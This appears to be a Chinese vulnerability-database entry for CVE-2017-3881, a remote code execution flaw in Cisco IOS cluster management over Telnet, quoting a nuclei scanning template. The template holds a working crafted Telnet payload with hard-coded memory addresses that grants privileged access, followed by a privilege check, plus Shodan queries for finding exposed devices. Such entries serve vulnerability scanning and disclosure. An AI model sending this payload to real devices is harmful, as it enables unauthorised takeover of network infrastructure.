Cisco IOS Remote Code Execution Vulnerability

漏洞信息

漏洞名称： Cisco IOS Remote Code Execution Vulnerability

漏洞编号：

• CVE： CVE-2017-3881

漏洞类型： 命令执行

漏洞等级： 严重

漏洞描述： 受影响的产品是Cisco IOS和Cisco IOS XE软件，这是一套广泛使用的网络操作系统，运行于多种Cisco网络设备上，包括Catalyst交换机、嵌入式服务2020交换机等。这些设备通常部署在企业网络和数据中心，用于提供网络连接和数据交换服务。由于其在网络基础设施中的核心作用，一旦被攻击，可能导致严重的网络中断或数据泄露。该漏洞存在于Cisco集群管理协议（CMP）的处理代码中，CMP协议内部使用Telnet作为集群成员之间的信号和命令协议。漏洞的根源在于两个因素的结合：（1）未能限制CMP特定的Telnet选项仅用于集群成员之间的内部本地通信，而是接受并处理来自任何Telnet连接的此类选项；（2）对格式错误的CMP特定Telnet选项的错误处理。攻击者可以通过在建立与受影响设备的Telnet会话时发送格式错误的CMP特定Telnet选项来利用此漏洞。成功利用此漏洞的攻击者可以执行任意代码并获得设备的完全控制权，或者导致设备重新启动。这种漏洞的影响极为严重，因为它允许未经身份验证的远程攻击者执行任意代码，无需用户交互即可自动利用，可能导致网络服务中断或敏感信息泄露。

产品厂商： Cisco

产品名称： Cisco IOS

搜索语法： product:”cisco ios http config”

来源： https://github.com/projectdiscovery/nuclei-templates/blob/3442666f0f77cfb9c0212eb8044484062643effd/network%2Fcves%2F2017%2FCVE-2017-3881.yaml

类型： projectdiscovery/nuclei-templates:github issues

POC详情

id: CVE-2017-3881

info:
  name: Cisco IOS 12.2(55)SE11 - Remote Code Execution
  author: dwisiswant0, NaN-KoreLogic
  severity: critical
  description: |
    A vulnerability in the Cisco Cluster Management Protocol (CMP) processing code in Cisco IOS and Cisco IOS XE Software could allow an unauthenticated, remote attacker to cause a reload of an affected device or remotely execute code with elevated privileges. The Cluster Management Protocol utilizes Telnet internally as a signaling and command protocol between cluster members. The vulnerability is due to the combination of two factors: (1) the failure to restrict the use of CMP-specific Telnet options only to internal, local communications between cluster members and instead accept and process such options over any Telnet connection to an affected device; and (2) the incorrect processing of malformed CMP-specific Telnet options. An attacker could exploit this vulnerability by sending malformed CMP-specific Telnet options while establishing a Telnet session with an affected Cisco device configured to accept Telnet connections. An exploit could allow an attacker to execute arbitrary code and obtain full control of the device or cause a reload of the affected device. This affects Catalyst switches, Embedded Service 2020 switches, Enhanced Layer 2 EtherSwitch Service Module, Enhanced Layer 2/3 EtherSwitch Service Module, Gigabit Ethernet Switch Module (CGESM) for HP, IE Industrial Ethernet switches, ME 4924-10GE switch, RF Gateway 10, and SM-X Layer 2/3 EtherSwitch Service Module. Cisco Bug IDs: CSCvd48893.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected device.
  remediation: Deactivate a telnet connection or employ Access Control Lists (ACLs) to limit access.
  reference:
    - https://github.com/artkond/cisco-rce
    - https://artkond.com/2017/04/10/cisco-catalyst-remote-code-execution/
    - https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/auxiliary/dos/cisco/ios_telnet_rocem.md
    - https://nvd.nist.gov/vuln/detail/CVE-2017-3881
    - http://www.securitytracker.com/id/1038059
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2017-3881
    cwe-id: CWE-20
    epss-score: 0.94083
    epss-percentile: 0.99893
    cpe: cpe:2.3:o:cisco:ios:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: cisco
    product: ios
    shodan-query:
      - product:"cisco ios http config"
      - cpe:"cpe:2.3:o:cisco:ios"
  tags: cve2017,network,cve,cisco,rce,kev,msf,tcp
tcp:
  - host:
      - "{{Hostname}}"
      - "{{Host}}:{{Port}}"
    inputs:
      - data: "{{hex_decode('fffa240003')}}CISCO_KITS{{hex_decode('01')}}2:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA{{hex_decode('000037b4023d55dc0000999c')}}BBBB{{hex_decode('00e1a9f4')}}CCCCDDDDEEEE{{hex_decode('00067b5c023d55c8')}}FFFFGGGG{{hex_decode('006cb3a000270b94')}}HHHHIIII{{hex_decode('014acf98')}}JJJJKKKKLLLL{{hex_decode('0114e7ec')}}:15:{{hex_decode('fff0')}}"
        read: 1024

      - data: "show priv"
        read: 1024
    read-size: 1024
    matchers:
      - type: word
        words:
          - "Current privilege level is"
# digest: 4a0a00473045022027a392a3f4ae6ca700335ac106802070aee5a351ac084b511a6b865f66cc8753022100fc349039457c6ed1a9b9cb834b5a7e1e2db0d01de5e9930bee77a966ef1a009b:922c64590222798bb761d5b6d8e72950